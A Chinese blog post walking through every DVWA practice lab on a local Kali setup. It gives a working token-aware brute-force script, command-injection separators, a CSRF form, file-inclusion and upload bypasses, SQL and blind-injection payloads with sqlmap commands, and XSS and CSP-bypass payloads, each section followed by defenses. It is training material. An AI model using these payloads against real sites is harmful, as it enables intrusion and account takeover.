1. 網絡不是法外之地,學習網絡安全只是爲了更好地保護網絡安全
2. 文中內容僅爲學習交流,涉及到的工具和方法均不能用於破壞網絡安全
該筆記僅在CSDN中發表,如轉載請大家註明出處。
CSDN:http://blog.csdn.net/elang6962?viewmode=contents
-
PhpStudy=0.4公測版
-
OS:Kali Linux 2019.4
-
DVWA:1.9
上一篇中記錄了在Kali 2019.4中利用phpstudy搭建dvwa的過程,這一篇是完整的DVWA練習記錄,內容長,很肝!
1 Brute Force 暴力破解
1.1 使用工具
- 抓包/破解:OWASP ZAP
- 代理插件:火狐FoxyProxy
1.2 Low
思路:
- 輸入正確的用戶名和密碼,提交觀察。這裏自動填寫了用戶名和密碼,點提交就行。看到出現一句歡迎語和一張圖片,同時F12看到請求方法是GET,當然看URL裏帶了用戶名和密碼也就知道了。
- 輸入錯誤的用戶名和密碼,提交觀察。直接刪除密碼點提交,提示“用戶名或密碼錯誤”。
- 準備抓包破解。FoxyProxy添加一個8081端口的本地代理,ZAP在選項-local proxies裏設置了8081端口,因爲有時會把ZAP和Burp同時開,避免端口衝突。
- 抓包。Foxy開啓代理,爲了做戲,密碼處填個錯的,點擊提交。這裏我出現了瀏覽器不信任127.0.0.1,看了下URL變成了https,點高級-繼續訪問。然後ZAP就抓到了包。
- 暴力破解。點擊抓到的包,上圖右上角請求處查看URL,找到那個URL有用戶名和密碼的包,點右鍵-選擇FUZZ。這裏FUZZ可能會帶有一個Fuzz Locations,一般都是錯的,刪掉後選擇用戶名的payloads也就是
admin
,點擊右邊的Add按鍵,在彈出的對話框隨便輸入幾個用戶名,有admin
就行;密碼同理,有password
就行,點擊Start Fuzzer
。
- 觀察結果。ZAP做不到成功後自動停止,只能從響應中觀察哪個是成功的。這裏因爲自己玩,總共沒幾個組合,直接從結果裏看了。響應中有一個4424字節,其他都是4381,這就可以猜測4424就是成功了,點擊在ZAP中查看果然能看到那句歡迎語。
結束後分析DVWA的PHP源代碼,Low等級拿到用戶輸入的用戶名和密碼後,對密碼進行了md5,然後就直接到數據庫裏查詢,沒有任何保護。
1.3 Medium
依據Low的思路,依舊使用ZAP執行暴力破解,還是可以成功,但明顯FUZZ的時間變久了。從截圖看,每個請求的RTT時間是秒級的,看了源代碼,在請求失敗時會sleep2秒,這裏不懂爲什麼RTT中記錄的時間會比2秒多那麼多。
1.4 High
思路:
- 先從最簡單的ZAP暴力開始,非常快的結束了。仔細看ZAP可以發現,所有包的響應都是0字節,且狀態碼是302。這時候想到看看請求包和響應包有什麼特殊的地方,很明顯的看到請求包的url中多了個
user_token
,先瞧瞧是不是它的原因。
- 這時候繼續用zap抓包,回到頁面分別測試2次正確輸入和2次錯誤輸入,再來看包的內容。點開1號正確包,可以看到url和referer處都有
user_token
,但二者不同;再點第二個包,2個位置依舊不同,且url中的user_token
與第一個包不同,到這裏就可以判斷這個user_token
是每次請求都會改變的,不論輸入的用戶名密碼組合是否正確。錯誤的2個包已經沒必要看了。這裏第一個包的referer
就有token是因爲直接在第一次抓包後的頁面中進行這一步。
- 已經確定是
user_token
的問題就好辦了,先從響應中找到它。查看頁面源代碼,可以直接搜索user_token
。
- 現在可以大致知道規則,即每次點擊提交,響應中會返回一個
user_token
,在下一次提交時帶上。
- 那麼第0個
user_token
是怎麼來的?是第一次點擊進入Brute Force模塊時的響應中返回的。很明顯,ZAP這類工具沒法用了,必須手動從響應中拿出user_token
並放入下一個請求中,也就是要自己動手。這裏有兩個思路:
-
- 一是按照上面那個圖一直進行下去,從第一次進入模塊之後就不斷重複“提交-獲取token-提交”,直到發現成功flag或者payloads消耗光。
request Brute Force
get response
while 1:
user_token = user_token in response
send request(username,password,user_token)
get response
# 思路一的代碼
import urllib.request as urllib2
import re
from urllib import request
IP = '127.0.0.1'
USERFILE = '' # username的字典
PASSFILE = '' # password的字典
COOKIE = '' # 手動查看後加入
# 由字典生成列表
usernames = [x[:-1] for x in open(USERFILE,'r')]
passwords = [x[:-1] for x in open(PASSFILE,'r')]
# 訪問首頁
response = request.urlopen(request.Request('http://' + IP + '/dvwa/vulnerabilities/brute/',headers={'Cookie':COOKIE}))
content = response.read().decode('utf-8')
for username in usernames:
for password in passwords:
# 獲取user_token
user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
# 發送request
url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
response = request.urlopen(request.Request(url,headers={'Cookie':COOKIE}))
content = response.read().decode('utf-8')
# 確認結果
print('用戶名:'+username)
print('密碼:'+password)
if 'Username and/or password incorrect.' in content:
print('結果:失敗')
else:
print('結果:成功')
break
else:
continue
break
-
- 二是將“進入Brute Force-提交”這個過程不斷循環,成功後自動退出。從代碼看和思路一區別不大,反而看起來對服務器的負擔更大些,因爲每次循環都會多請求一次首頁。
while 1:
request Brute Force
get response
user_token = user_token in response
send request(username,password,user_token)
# 思路二代碼
# 和思路一的區別是把訪問首頁挪到循環裏
for username in usernames:
for password in passwords:
# 訪問首頁
response = request.urlopen(request.Request('http://' + IP + '/dvwa/vulnerabilities/brute/',headers={'Cookie':COOKIE}))
content = response.read().decode('utf-8')
# 獲取user_token
user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
# 發送request
url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
response = request.urlopen(request.Request(url,headers={'Cookie':COOKIE}))
content = response.read().decode('utf-8')
# 確認結果
print('用戶名:'+username)
print('密碼:'+password)
if 'Username and/or password incorrect.' in content:
print('結果:失敗')
else:
print('結果:成功')
break
else:
continue
break
1.5 防禦
- 驗證token還是要有的,反正還得防CSRF
- 設置一個失敗閾值,達到上限禁止嘗試
- 驗證碼,也可以設置一個失敗閾值,達到後開始使用驗證碼
- 參數化SQL語句,使用PDO技術
2 命令注入
2.1 使用工具
命令注入的底層是執行系統命令,如windows的ping、ipconfig等,漏洞產生的原因主要是系統沒有處理或過濾用戶輸入,將輸入作爲系統命令的參數直接與命令進行拼接
工具上強行安排hackbar插件,其實啥也不需要
2.2 Low
- 很明顯這裏執行的是
ping
,用戶的輸入作爲參數傳入。正常輸入127.0.0.1
,可以看到會輸出常見的ping響應。 - 可以直接輸入
payload
測試是否存在漏洞。這裏使用字母少且輸出快的dir
命令,payload
爲127.0.0.1|dir
- 這裏可以把常見的命令連接符都測試一遍。
-
|
,命令1|命令2
,將命令1的輸出作爲命令2的輸入,payload
爲127.0.0.1|dir
可輸出dir
-
||
,命令1||命令2
,只有命令1執行失敗時纔會執行命令2,payload
爲127.0.0||dir
可輸出dir
-
&
,命令1;命令2
,同時執行命令1和命令2,payload
爲127.0.0.1&dir
可輸出dir,此時dir先執行完,所以輸出在ping的上面
-
&&
,命令1&&命令2
,只有命令1執行成功時纔會執行命令2,payload
爲127.0.0.1&&dir
可輸出dir
-
;
,命令1;命令2
,按順序執行命令1和命令2,2個命令間不存在任何邏輯關係,payload
爲127.0.0.1;dir
基本可以判斷,這裏沒有對輸入做任何安全處理。
2.3 Medium
直接測試:
-
可行:
|
、&
、||
-
不可行:
&&
、;
看一下php源碼,果然只過濾了不可行的2個符號,沒有對輸入做其他處理
2.4 High
直接測試:
- 可行:
|
- 不可行:
||
、&&
、&
、;
看看代碼,一開始就給ip用了個trim函數,默認去除輸入參數兩側的空白字符。且符號過濾的更多了,裏面是包含|
的,仔細看可以發現,代碼裏過濾的|
後面有個空格,簡直就是特地給我這樣的萌新留個窗戶。
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
trim()函數移除字符串兩側的空白字符或預定義字符。空白字符如回車、製表符、換行符、NULL、空格等
2.5 防禦
白名單模式,DVWA這裏impossible模式中檢測輸入是否是合法的ipv4地址;同時檢測token防止CSRF
3 CSRF
3.1 使用工具
ZAP和Burpsuite
上一篇博客安裝phpstudy時設置了只允許127.0.0.1訪問,爲了實現測試中的2個IP,將此設置暫時去掉了。方法是在網頁面板-網站-配置中,按照提示點擊恢復
,然後重啓服務。
3.2 Low
- 在正常輸入的測試中就打開zap和本地代理,查看請求和響應。注意到URL中帶有剛纔填的參數。
- 似乎沒什麼特別的,按照URL中對應參數的名稱直接構造測試頁面。這裏把正常頁面的html代碼直接複製後修改,改動了填寫密碼的部分。構造完成拷貝到網站根目錄下,這個頁面的路徑爲
127.0.0.1/test.html
,這裏最後使用按鈕是爲了多次測試,實際中應該是自動執行的。
<form action="http://192.168.1.2/dvwa/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="123456"><br />
<input type="hidden" name="password_conf" value="123456"><br />
<input type="hidden" value="Change" name="Change">
<input type="submit" value="Click Me">
</form>
- 在同一個瀏覽器中輸入
127.0.0.1/test.html
,進入後效果如下圖,沒有css效果是因爲網頁代碼中引用的樣式都是一些相對目錄,如<link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />
。
- 點擊圖裏的Click Me按鈕,密碼成功修改。
3.2 Medium
- 這裏爲了更像真的,我改了hosts,所以測試時的url都不再是ip了。另外ZAP在抓包上真的不如Burp用着舒服,這把用Burp了。
- 按照low的思路進行,在瀏覽輸入
127.0.0.1/test.html
,雖然還是到了CSRF的頁面,但是提示由修改成功變爲了That request didn't look correct.
- 開Burpsuite,找找看原因。首先在low和medium下,正常輸入,點擊提交,請求包的內容是一樣的;然後在medium下正常輸入一次,嘗試CSRF一次,通過對比請求包,發現CSRF請求包只有referer一項和正常包是有區別的。那麼就試着改改,先進入test.html,打開抓包,點擊Click Me,Burp裏抓到的包右鍵發送到Repeater模塊,先把referer修改爲和正常包一樣,果然成功了。
- 確定問題所在,思考如何繞過。注意到請求包host和referer有同樣的域名(用Burp抓到的包GET請求網址是不包含域名的,用F12看到的纔有),猜測防護規則來自host,所以回到第二步,把host的域名加到referer的各個位置,包括:只有域名;域名在
127.0.0.1/test.html
前面;在後面;在中間。測試結果是隻要referer裏有那個域名,就可以修改成功。如圖,甚至放在數字中間都可以。
- 由此,Medium級別的防護可以肯定爲,識別referer中是否包含host的域名。繞過方法就簡單了,一種是把
test.html
改成exercise.hun.html
,另一種是新建一個和域名同名的文件夾,把test.html
丟進去。
3.4 防禦
High等級正常輸入,可以看到URL中多了user_token,而且每次響應都會改變。
而CSRF只不過讓用戶進入了我這邊的一個html,不管是點擊Click Me還是進入html就自動提交,都沒辦法在Form中添加上正確的user_token.
要繞過的話,這裏的邏輯似乎是:
換句話說,用戶只訪問一次test.html
,而該頁面要自己完成後面所有的步驟。
impossible中,更需要輸入用戶的原密碼纔可以修改,這就更不可能繞過了。
4 文件包含
4.1 前置
設置php爲允許包含和打開文件
4.2 Low
- 點擊幾個文件,觀察url,
page=
後面就是參數 - 修改參數爲一個不存在的文件,先按順序嘗試
file4.php
,忘記它是存在了,如圖,正好說明漏洞是存在的,這裏可以證明漏洞起碼是可以讀取服務器本地文件的
- 嘗試不存在的文件名,報錯且信息中包含本地文件的目錄
- 當前目錄確定可以利用漏洞,嘗試服務器的其他目錄。在文件上傳漏洞中上傳
phpinfo.php
,完整的url改爲http://exercise.hun/dvwa/vulnerabilities/fi/?page=../upload/phpinfo.php
,可以成功輸出php信息 - 嘗試包含遠程文件,這裏測試本機中DVWA服務器之外的目錄,在DVWA同級目錄拷貝
phpinfo.php
。完整url爲http://exercise.hun/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
,可顯示php信息
核心:文件包含漏洞的本質就是通過漏洞執行攻擊者本地的腳本。否則,需要利用文件上傳或是通過信息收集找到其服務器上已有的腳本
4.3 Medium
file4.php
還是可以執行,也就是至少服務器上該目錄是可以利用的- 嘗試不存在的文件依舊會報出文件目錄
http://exercise.hun/dvwa/vulnerabilities/fi/?page=../upload/phpinfo.php
失敗,從報錯信息看Warning: include(upload/phpinfo.php): failed to open stream: No such file or directory in /www/admin/localhost_80/wwwroot/dvwa/vulnerabilities/fi/index.php on line 36
服務器只解析了upload/phpinfo.php
而不是../upload/phpinfo.php
,應該是../
被過濾了,那麼就可以用....//
嘗試繞過,果然成功。所以這裏是把../
作爲一個整體過濾了http://exercise.hun/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
失敗,同理也是過濾,嘗試httphttp://://
,這麼寫如果成功就可以肯定是把http://
作爲整體過濾
4.4 High
file4.php
依舊可行- 嘗試服務器其他目錄和遠程文件均失敗,提示如圖,錯誤信息太少
- 繼續嘗試,把
phpinfo.php
拷貝到file4.php
同目錄中,失敗,提示相同。 - 考慮文件名,將
phpinfo
不斷修改,直至修改爲filephpinfo
後可執行,也就是page=
的參數必須以file
開頭,那麼首先遠程文件不可能執行了 - 能執行本地文件也是好滴,使用
file://
加上完整路徑就成。exercise.hun/dvwa/vulnerabilities/fi/?page=file:///www/admin/localhost_80/wwwroot/dvwa/vulnerabilities/upload/phpinfo.php
成功,www前面的第三個/
是根目錄/
,使用file://
需要使用文件的本地完整路徑 - 想要執行自己的腳本就得把它上傳到目標服務器
4.5 防禦
黑名單:Medium級別就是,太容易有遺漏
白名單:High就是
通過代碼,High級別只需要file*
或include.php
,impossible級別最絕,只允許file1、file2、file3
5 文件上傳
5.1 工具
burpsuite
5.2 Low
看到是個上傳文件的模塊,直接嘗試上傳一個php文件,提示成功,並且會報出文件所在路徑。
5.3 Medium
- 直接上傳php文件是失敗的,提示“只接受jpeg或png文件”
- 現在用Burpsuite抓包,上傳正常圖片和php文件各抓一個包,對比他們的不同。
- 分析上面2個圖,二者的不同有三處:文件名、content-type、文件內容
- 嘗試找到漏洞。文件內容肯定是放在最後考慮的,那麼可以測試把文件名或content-type修改後重發
- 經過測試,修改2處、修改content-type都可以上傳,只修改文件名依舊上傳失敗,可以確定只要修改掉content-type即可
5.4 High
- 來到高級,用前面的方法都會失敗。而我們能修改的只剩下文件內容,也就是讓php文件的內容變成圖片內容。
- 新建一個
1.php
,Kali終端使用cat 1.jpeg 1.php > hello.jpeg
將兩個文件合併成新的圖片,新文件的大小等於兩個文件之和。 - 現在直接上傳就好了。爲了驗證,可以切回Low等級到文件包含下,隨便點一個正確的文件,然後地址欄改爲
http://exercise.hun/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/hello.jpeg
,回車後可以看到上面是圖片內容的亂碼,下面是php信息。
5.5 防禦
修復方法有兩個方向:
- 阻止非法文件上傳,文件後綴、類型、內容必須控制,等於high等級,但不能有文件包含漏洞、服務器使用apache(因爲nginx有一個畸形解析漏洞,可以用在文件包含)
- 阻止非法文件執行,存儲目錄執行權限關閉、存儲文件和服務器分離、文件重壓縮生成、文件重命名
6 SQL
6.1 思路和工具
對於固定目標的SQL注入,其實就是個找注入點,剩下的就是sqlmap
尋找注入點就是判斷後臺是否將用戶輸入直接進行SQL語句拼接,導致用戶的輸入被執行:
- 1 and 1=2
- 1’ and ‘1’='2
- 1" and “1”="2
上面都是真 and 假 = 假
,如果假
被執行則存在SQL注入點;同時可以確定是字符型還是數字型
工具:
- hackbar插件,sqlmap
6.2 Low
輸入1
提交,hackbar讀取url後把payload改爲4' and '1'='2
提交,輸出是空的,說明系統執行了注入的語句,注入點確定。
sqlmap:sqlmap -u "<url>" --cookie="<cookie>"
6.3 Medium
提交頁變成序號選擇,且通過F12網絡查看是post方法,url中沒有修改payload的地方。
用hackbar讀取url,勾選post data,修改payload即可
sqlmap:sqlmap -u "<url>" --data="<post data>" --cookie="<cookie>" -level 2
level2可檢測data中的注入點
6.4 High
有個鏈接,點擊後彈出新的頁面,然而這個新的頁面直接按照Low的方法就可以注入
用1'
錯誤返回不包含有價值信息,用1"
會過濾掉
sqlmap:sqlmap -u "exercise.hun/dvwa/vulnerabilities/sqli/session-input.php#" --cookie="security=high; PHPSESSID=6qo1h0q2k95bit6j6ki1u5e8o5" --second-url="http://exercise.hun/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit"id=1&Submit=Submit
6.5 防禦
- 參數化SQL語句,預編譯
- 白名單
7 SQL盲注
7.1 目標和工具
目標與回顯注入是一樣的,只要找到注入點就行
工具:hackbar、sqlmap
7.2 Low
- 輸入1,只顯示
exist
1' and '1'='1
存在,1' and '1'='2
不存在,說明輸入全部被執行,注入點存在
手工:
- 手工的話,首先得試出來SQL語句有幾列內容。
1' order by 1
,二分法依次改爲10,5,3,2,最終1' order by 2
存在,3則不存在,確定select後面要跟2個參數 - 可以驗證一下,
' union select sleep(3)#
是馬上刷新頁面,而' union select 1,sleep(3)--
基本是等待3秒後刷新 - 先猜數據庫長度,
1' union select 1,if(length(database())>100,sleep(3),False)--
- 然後就是體力活猜字母了
1' union select 1,if(ascii(substr(database(),1,1))>100,sleep(3),False)--
7.3 Meidum和High
其實和回顯注入都一樣的,只不過換成了盲注,手工注入的方法完全改變,用sqlmap的話沒差別了
8 XSS-DOM
8.1 原理
目前理解的是,通過url傳入payload,從而觸發漏洞。和反射性、存儲型對比,也可以理解成CS交互,不同是的把JS當成是client,html是server,html解析url時頁面JS執行了藏在url中的JS代碼
本節基本都是看了代碼和help的
8.2 Low
<script>alert(1)</script>
確定注入點存在
8.3 Medium
不能使用包含<script
的任何payload,即要在不使用script的前提下找到執行JS語句的方法
/option></select><img src='x' onerror='alert(1)'>
option可以沒有,看html代碼可知需要先閉合<select>
,然後正常添加一個<img>
8.4 High
搞不定,看了php代碼,只有4個白名單是合法的。
加個#
號就可以,#/option></select><img src='x' onerror='alert(1)'>
在url中#
後面的內容不會發送到server,因而無法阻止運行
8.5 防禦
客戶端保護,JS使用decodeURI(),payload直接被解碼,和正常輸入拼接後輸出,無法運行
9 XSS-Reflected
9.1 思路和工具
反射型是輸入傳輸到服務器,由服務器進行解析後再返回
9.2 Low
看到輸入框,直接試<script>alert(1)</script>
抓包可以看到響應的html代碼中直接輸出了用戶的輸入
9.3 Medium
- 直接輸入
<script>alert(1)</script>
不成功,抓包看到<script>
標籤被過濾了
- 嘗試修改標籤大小寫,成功,抓包看到輸入被完全輸出
9.4 High
- 這次
<script>alert(1)</script>
不管怎麼變,輸出的只有一個>
。說明script
標籤被徹底過濾了,也就是不能直接執行腳本 - 繞過使用
script
,嘗試另一種較常見的<img>
標籤,<img src='x' onerror="alert(1)">
,成功 - 閱讀php源碼,過濾所有
<script
的變形
9.5 防禦
使用htmlspecialchars函數將<
和>
轉換爲實體字符,而不是html元素
10 XSS-Stored
10.1
存儲型是利用漏洞將惡意代碼保存在服務器端,每次客戶端請求包含而已代碼的頁面時就執行該代碼
10.2 Low
評論區輸入<script>alert(1)</script>
成功
10.3 Medium
- 照樣輸入,發現
<script>
被完整過濾掉了 - 嘗試大小寫
script
,依舊過濾 - 嘗試
<img src="x" onerror="alert(1)">
,整個標籤都過濾掉了,懷疑是會過濾<
到>
的所有內容 - 前面都只看到了message,現在注意到name也是個文本輸入框,嘗試輸入發現是有長度限制的
- 開Burp,抓包發送到repeater,在txtName後輸入
<sCRIPt>alert(1)</ScriPt>
,發送後查看respond裏對應位置代碼是完整的,在瀏覽器裏刷新頁面成功彈窗。
10.4 High
- 前面的方法都試過,
script
被過濾乾淨了 - 在name中使用
<img>
標籤成功
10.5 防禦
- 過濾
<
、>
等腳本常用符號,使用php的htmlspecialchars()函數可過濾<
、>
、&
、"
、'
z轉換爲實體,而不是符號。同時'
也可以用mysql_real_escape_string()轉義 - 用戶輸入:在服務端設置白名單過濾
- 服務端輸出:輸出至html中就進行編碼,輸出至JS中就進行轉義
htmlspecialchars()中過濾引號時要設置flag參數
- ENT_COMPAT - 默認。僅編碼雙引號。
- ENT_QUOTES - 編碼雙引號和單引號。
- ENT_NOQUOTES - 不編碼任何引號
11 Insecure CAPTCHA
不安全的驗證
要求註冊獲取key,該模塊沒辦法學習
12 CSP Bypass
12.1 思路
內容安全策略,支持CSP的瀏覽器會根據用戶設置的內容來源、格式甚至值進行過濾。因爲需要用戶自行設置,存在被繞過的風險。
12.2 Low
提示檢查CSP的設置,然後輸入帶有script的外部資源。F12到網絡選項卡,然後刷新頁面。
可以看到CSP允許同源腳本以及幾個URL:script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;
這裏我已經知道https://pastebin.com
是個剪貼板網站,可以爲輸入的內容生成鏈接,這裏可以直接在網站輸入alert(1)
,生成鏈接粘貼到dvwa中就可以看到效果
12.3 Medium
題目變成了"不管輸入什麼都會直接顯示在頁面中",輸入TEST
效果如下:
照例先檢查下CSP設置
允許同源腳本,同時允許unsafe-inline
,但要求有個隨機數屬性。script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
這裏我是不懂的,但看了提示。可以多試幾次,瞧瞧這個隨機數是個什麼情況,結果當然它是一個固定值。
Payload:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('1')</script>
輸入後點include
就OK了
也可以hackbar修改post
12.4 High
這裏題目變了,只要點一個鍵就會顯示加法的計算結果,但是它提示了可以去讀../..//vulnerabilities/csp/source/jsonp.php
的代碼。目前代碼閱讀不知道對不對。
- 先看看CSP配置,只剩下
script-src 'self';
也就是說只能執行同源腳本 - 反正提示了路徑,直接去文件夾打開代碼了。第一次學習的時候記得應該可以利用文件包含的,但是第二次發現不行了,不知是不是我打開的方式不對。總的來講,
jsonp.php
的邏輯就是獲得callback
傳來的東西再輸出到頁面。outp是answer對應15,最後一句的結果的是solveSum(json_encode(“answer”:“15”)),也就是說在此處纔是調用了solveSum函數 High.js
:這個可以直接看,右鍵網頁源代碼,漏洞代碼區就能看到high.js
點擊即可。一旦監聽到點擊按鍵,就生成一個script,把solveSum函數傳給callback。solveSum函數的邏輯就是檢查answer
在不在傳來的參數裏,如果在,就把answer
對應的東西賦值給網頁中id是answer
的元素,也就是<span>
OK,閱讀完畢,現在看來能讓我下手的地方就是傳給callback的參數,只要修改它就成。在這裏我又一次打開Burpsuite,爲了看到效果,直接在proxy模塊操作,簡單修改callback參數後點intercept is on
關掉代理就可以看到效果了。
另外一種方法,在中級時通過hackbar其實是看到post data裏有個include,這裏如果忘記了嘗試也沒關係,因爲我們會讀php源代碼,可以看到這一題還是接受include參數的,只不過直接從hackbar裏看不到。題目只能執行同源腳本,因此直接上<script>alert(1)</script>
是不行的,需要在script
中執行src
最終payload:include=<script src="source/jsonp.php?callback=alert(1);"></script>
12. 5 防禦
別給用戶修改參數的機會!callback不需要傳參,直接寫死成solveSum
13 JavaScript
13.1 思路和工具
該模塊的本意是熟悉JS常見的位置、形式、保護機制以及在瀏覽器中使用和操作JS,以繞過保護。
較繁瑣的辦法:看到JS代碼後,可通過另存修改後執行,獲取到正確的token,然後Burp抓包修改token。
可選的:Burpsuite
最佳實踐:F12即可,在控制檯執行JS函數;在線反混淆
13.2 Low
- 打開JS模塊,看到只要提交
success
就可以win,這太簡單了。輸入success
,點擊提交,成功獲得返回消息Invalid token.
,那麼第一條tip就是找到這個token
- 右鍵查看網頁html源代碼,找到token和phrase位置
<form name="low_js" method="post">
<input type="hidden" name="token" value="" id="token" />
<label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase" />
<input type="submit" id="send" name="send" value="Submit" />
</form>
- 右鍵查看元素,找到token和phrase位置。可以看到token有值,爲了驗證我重載入了dvwa,這裏依舊是有值的,可以確定這是
ChangMe
的對應token
- 尋找計算
token
的方法,繼續右鍵查看源代碼。看到在html代碼中包含了完整的JS腳本,先獲取phrase
處的字符,計算其md5賦給token
。 - 利用。保持查看元素,先在
phrase
輸入success
,然後到控制檯下直接執行generate_token()
,再回到查看器,可以看到token
的值變了,此時點提交就成功了。
13.3 Medium
- 查看元素找到token位置爲空。
- 查看源代碼,看到JS代碼只有一行鏈接
<script src="/vulnerabilities/javascript/source/medium.js"></script>
,且直接點擊會返回404 - 使用完整路徑查看
http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js
function do_something(e)
{
for(var t="",n=e.length-1;n>=0;n--)
t+=e[n];
return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e)
{
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}
- setTimeout在300毫秒後執行do_elsesomething(“XX”),token等於do_something(XXsuccessXX),結果是其倒序排列。算到這裏抓包修改似乎很簡單了,但實際中這麼簡單的結果應該很少見。
- 老樣子移步控制檯,執行
do_elsesomething("XX")
提示未定義,仔細檢查發現medium.js
的路徑是http://exercise.hun/vulnerabilities/javascript/source/medium.js
,實際應該是http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js
,少個dvwa
。這是自己的鍋,因爲在phpstudy中網站的默認路徑就沒有dvwa。 - 手動在控制檯加載
medium.js
:
var script = document.createElement('script');
script.src = "http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js";
document.getElementsByTagName('head')[0].appendChild(script);
- 先輸入
success
,執行do_elsesomething("XX")
後回到查看器,看到token
已經修改了,提交就好了。
當然一些複雜情況,在弄清邏輯後也可以直接用控制檯執行代碼,算出token
,然後抓包修改。
function do_something(e){
for(var t="",n=e.length-1;n>=0;n--)t+=e[n];
return t
}
alert(do_something("XX"+'success'+"XX"));
13.4 High
- 什麼都不做了,直接查看html源代碼,找到JS位置訪問。看到亂糟糟的一團,百度後得知需要反混淆,並找到JS腳本反混淆網站:http://deobfuscatejavascript.com/#。完整代碼實在太長,前面部分都是HASH,直接看後面就好了。核心代碼如下:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
- 代碼邏輯:300毫秒後執行
token_part_2
,點擊後執行token_part_3
,執行token_part_1
,其中do_something()反轉phrase。也就是說在正常時會先默認phrase爲空,然後執行token_part_1
、token_part_2
,最後提交執行token_part_3
。 - 老辦法先載入
high.js
,然後輸入success
,依次執行token_part_1("ABCD", 44)
、token_part_2("XX")
,提交成功。
13.5 防禦
據impossible等級介紹,根本無需擔心
你根本不能信任用戶,必須假設任何發送給用戶的代碼都可以被修改或繞過。根本不存在絕對安全的級別。
DVWA暫時就是這樣了,剩下的時間裏會針對練習中很多一知半解的知識進行深入,目標是搞透原理和本質。